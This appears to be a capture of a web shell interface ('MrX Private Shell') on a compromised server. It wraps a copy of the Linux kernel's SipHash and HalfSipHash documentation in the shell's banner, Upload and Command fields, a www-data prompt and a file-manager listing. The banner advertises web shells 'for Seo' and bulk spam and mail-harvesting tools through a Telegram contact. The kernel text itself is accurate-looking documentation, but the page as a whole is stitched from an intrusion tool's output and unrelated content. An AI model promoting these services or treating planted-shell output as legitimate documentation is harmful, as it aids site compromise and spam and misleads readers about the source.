__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.52: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>SipHash - a short input PRF &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Trusted Platform Module documentation" href="tpm/index.html" />
    <link rel="prev" title="Kernel Self-Protection" href="self-protection.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../accounting/index.html">Accounting</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cpu-freq/index.html">CPUFreq - CPU frequency and voltage scaling code in the Linux(TM) kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../edac/index.html">EDAC Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fpga/index.html">FPGA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../i2c/index.html">I2C/SMBus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../iio/index.html">Industrial I/O</a></li>
<li class="toctree-l3"><a class="reference internal" href="../pcmcia/index.html">PCMCIA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../spi/index.html">Serial Peripheral Interface (SPI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../w1/index.html">1-Wire Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../watchdog/index.html">Watchdog Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../virt/index.html">Virtualization Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hwmon/index.html">Hardware Monitoring</a></li>
<li class="toctree-l3"><a class="reference internal" href="../accel/index.html">Compute Accelerators</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Security Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../crypto/index.html">Crypto API</a></li>
<li class="toctree-l3"><a class="reference internal" href="../bpf/index.html">BPF Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../usb/index.html">USB support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../PCI/index.html">PCI Bus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../misc-devices/index.html">Assorted Miscellaneous Devices Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../peci/index.html">PECI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../wmi/index.html">WMI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../tee/index.html">TEE Subsystem</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/security/siphash.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  




<div class="language-selection">
English

<ul>

<li><a href="../translations/zh_CN/security/siphash.html">Chinese (Simplified)</a></li>

</ul>
</div>
<section id="siphash-a-short-input-prf">
<h1>SipHash - a short input PRF<a class="headerlink" href="#siphash-a-short-input-prf" title="Link to this heading">¶</a></h1>
<dl class="field-list simple">
<dt class="field-odd">Author<span class="colon">:</span></dt>
<dd class="field-odd"><p>Written by Jason A. Donenfeld &lt;<a class="reference external" href="mailto:jason&#37;&#52;&#48;zx2c4&#46;com">jason<span>&#64;</span>zx2c4<span>&#46;</span>com</a>&gt;</p>
</dd>
</dl>
<p>SipHash is a cryptographically secure PRF -- a keyed hash function -- that
performs very well for short inputs, hence the name. It was designed by
cryptographers Daniel J. Bernstein and Jean-Philippe Aumasson. It is intended
as a replacement for some uses of: <cite>jhash</cite>, <cite>md5_transform</cite>, <cite>sha1_transform</cite>,
and so forth.</p>
<p>SipHash takes a secret key filled with randomly generated numbers and either
an input buffer or several input integers. It spits out an integer that is
indistinguishable from random. You may then use that integer as part of secure
sequence numbers, secure cookies, or mask it off for use in a hash table.</p>
<section id="generating-a-key">
<h2>Generating a key<a class="headerlink" href="#generating-a-key" title="Link to this heading">¶</a></h2>
<p>Keys should always be generated from a cryptographically secure source of
random numbers, either using get_random_bytes or get_random_once:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>siphash_key_t key;
get_random_bytes(&amp;key, sizeof(key));
</pre></div>
</div>
<p>If you’re not deriving your key from here, you’re doing it wrong.</p>
</section>
<section id="using-the-functions">
<h2>Using the functions<a class="headerlink" href="#using-the-functions" title="Link to this heading">¶</a></h2>
<p>There are two variants of the function, one that takes a list of integers, and
one that takes a buffer:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>u64 siphash(const void *data, size_t len, const siphash_key_t *key);
</pre></div>
</div>
<p>And:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>u64 siphash_1u64(u64, const siphash_key_t *key);
u64 siphash_2u64(u64, u64, const siphash_key_t *key);
u64 siphash_3u64(u64, u64, u64, const siphash_key_t *key);
u64 siphash_4u64(u64, u64, u64, u64, const siphash_key_t *key);
u64 siphash_1u32(u32, const siphash_key_t *key);
u64 siphash_2u32(u32, u32, const siphash_key_t *key);
u64 siphash_3u32(u32, u32, u32, const siphash_key_t *key);
u64 siphash_4u32(u32, u32, u32, u32, const siphash_key_t *key);
</pre></div>
</div>
<p>If you pass the generic siphash function something of a constant length, it
will constant fold at compile-time and automatically choose one of the
optimized functions.</p>
<p>Hashtable key function usage:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct some_hashtable {
        DECLARE_HASHTABLE(hashtable, 8);
        siphash_key_t key;
};

void init_hashtable(struct some_hashtable *table)
{
        get_random_bytes(&amp;table-&gt;key, sizeof(table-&gt;key));
}

static inline hlist_head *some_hashtable_bucket(struct some_hashtable *table, struct interesting_input *input)
{
        return &amp;table-&gt;hashtable[siphash(input, sizeof(*input), &amp;table-&gt;key) &amp; (HASH_SIZE(table-&gt;hashtable) - 1)];
}
</pre></div>
</div>
<p>You may then iterate like usual over the returned hash bucket.</p>
</section>
<section id="security">
<h2>Security<a class="headerlink" href="#security" title="Link to this heading">¶</a></h2>
<p>SipHash has a very high security margin, with its 128-bit key. So long as the
key is kept secret, it is impossible for an attacker to guess the outputs of
the function, even if being able to observe many outputs, since 2^128 outputs
is significant.</p>
<p>Linux implements the “2-4” variant of SipHash.</p>
</section>
<section id="struct-passing-pitfalls">
<h2>Struct-passing Pitfalls<a class="headerlink" href="#struct-passing-pitfalls" title="Link to this heading">¶</a></h2>
<p>Often times the XuY functions will not be large enough, and instead you’ll
want to pass a pre-filled <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">to</span></code> siphash. When doing this, it’s important
to always ensure the <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">has</span></code> no padding holes. The easiest way to do this
is to simply arrange the members of the <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">in</span></code> descending order of size,
and to use <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">offsetofend()</span></code> instead of sizeof() for getting the size. For
performance reasons, if possible, it’s probably a good thing to align the
<code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">to</span></code> the right boundary. Here’s an example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>const struct {
        struct in6_addr saddr;
        u32 counter;
        u16 dport;
} __aligned(SIPHASH_ALIGNMENT) combined = {
        .saddr = *(struct in6_addr *)saddr,
        .counter = counter,
        .dport = dport
};
u64 h = siphash(&amp;combined, offsetofend(typeof(combined), dport), &amp;secret);
</pre></div>
</div>
</section>
<section id="resources">
<h2>Resources<a class="headerlink" href="#resources" title="Link to this heading">¶</a></h2>
<p>Read the SipHash paper if you’re interested in learning more:
<a class="reference external" href="https://131002.net/siphash/siphash.pdf">https://131002.net/siphash/siphash.pdf</a></p>
</section>
</section>
<hr class="docutils" />
<section id="halfsiphash-siphash-s-insecure-younger-cousin">
<h1>HalfSipHash - SipHash’s insecure younger cousin<a class="headerlink" href="#halfsiphash-siphash-s-insecure-younger-cousin" title="Link to this heading">¶</a></h1>
<dl class="field-list simple">
<dt class="field-odd">Author<span class="colon">:</span></dt>
<dd class="field-odd"><p>Written by Jason A. Donenfeld &lt;<a class="reference external" href="mailto:jason&#37;&#52;&#48;zx2c4&#46;com">jason<span>&#64;</span>zx2c4<span>&#46;</span>com</a>&gt;</p>
</dd>
</dl>
<p>On the off-chance that SipHash is not fast enough for your needs, you might be
able to justify using HalfSipHash, a terrifying but potentially useful
possibility. HalfSipHash cuts SipHash’s rounds down from “2-4” to “1-3” and,
even scarier, uses an easily brute-forcable 64-bit key (with a 32-bit output)
instead of SipHash’s 128-bit key. However, this may appeal to some
high-performance <cite>jhash</cite> users.</p>
<p>HalfSipHash support is provided through the “hsiphash” family of functions.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>Do not ever use the hsiphash functions except for as a hashtable key
function, and only then when you can be absolutely certain that the outputs
will never be transmitted out of the kernel. This is only remotely useful
over <cite>jhash</cite> as a means of mitigating hashtable flooding denial of service
attacks.</p>
</div>
<p>On 64-bit kernels, the hsiphash functions actually implement SipHash-1-3, a
reduced-round variant of SipHash, instead of HalfSipHash-1-3. This is because in
64-bit code, SipHash-1-3 is no slower than HalfSipHash-1-3, and can be faster.
Note, this does <em>not</em> mean that in 64-bit kernels the hsiphash functions are the
same as the siphash ones, or that they are secure; the hsiphash functions still
use a less secure reduced-round algorithm and truncate their outputs to 32
bits.</p>
<section id="generating-a-hsiphash-key">
<h2>Generating a hsiphash key<a class="headerlink" href="#generating-a-hsiphash-key" title="Link to this heading">¶</a></h2>
<p>Keys should always be generated from a cryptographically secure source of
random numbers, either using get_random_bytes or get_random_once:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>hsiphash_key_t key;
get_random_bytes(&amp;key, sizeof(key));
</pre></div>
</div>
<p>If you’re not deriving your key from here, you’re doing it wrong.</p>
</section>
<section id="using-the-hsiphash-functions">
<h2>Using the hsiphash functions<a class="headerlink" href="#using-the-hsiphash-functions" title="Link to this heading">¶</a></h2>
<p>There are two variants of the function, one that takes a list of integers, and
one that takes a buffer:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>u32 hsiphash(const void *data, size_t len, const hsiphash_key_t *key);
</pre></div>
</div>
<p>And:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>u32 hsiphash_1u32(u32, const hsiphash_key_t *key);
u32 hsiphash_2u32(u32, u32, const hsiphash_key_t *key);
u32 hsiphash_3u32(u32, u32, u32, const hsiphash_key_t *key);
u32 hsiphash_4u32(u32, u32, u32, u32, const hsiphash_key_t *key);
</pre></div>
</div>
<p>If you pass the generic hsiphash function something of a constant length, it
will constant fold at compile-time and automatically choose one of the
optimized functions.</p>
</section>
<section id="hashtable-key-function-usage">
<h2>Hashtable key function usage<a class="headerlink" href="#hashtable-key-function-usage" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct some_hashtable {
        DECLARE_HASHTABLE(hashtable, 8);
        hsiphash_key_t key;
};

void init_hashtable(struct some_hashtable *table)
{
        get_random_bytes(&amp;table-&gt;key, sizeof(table-&gt;key));
}

static inline hlist_head *some_hashtable_bucket(struct some_hashtable *table, struct interesting_input *input)
{
        return &amp;table-&gt;hashtable[hsiphash(input, sizeof(*input), &amp;table-&gt;key) &amp; (HASH_SIZE(table-&gt;hashtable) - 1)];
}
</pre></div>
</div>
<p>You may then iterate like usual over the returned hash bucket.</p>
</section>
<section id="performance">
<h2>Performance<a class="headerlink" href="#performance" title="Link to this heading">¶</a></h2>
<p><code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">hsiphash()</span></code> is roughly 3 times slower than <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">jhash()</span></code>. For many replacements, this
will not be a problem, as the hashtable lookup isn’t the bottleneck. And in
general, this is probably a good sacrifice to make for the security and DoS
resistance of <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">hsiphash()</span></code>.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/security/siphash.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
keys Folder 0755
secrets Folder 0755
tpm Folder 0755
IMA-templates.html File 17.96 KB 0644
SCTP.html File 30.16 KB 0644
credentials.html File 43.06 KB 0644
digsig.html File 13.7 KB 0644
index.html File 11.76 KB 0644
ipe.html File 33.45 KB 0644
landlock.html File 41.72 KB 0644
lsm-development.html File 168.95 KB 0644
lsm.html File 19.33 KB 0644
sak.html File 13.8 KB 0644
self-protection.html File 27.62 KB 0644
siphash.html File 20.5 KB 0644
snp-tdx-threat-model.html File 25 KB 0644
Filemanager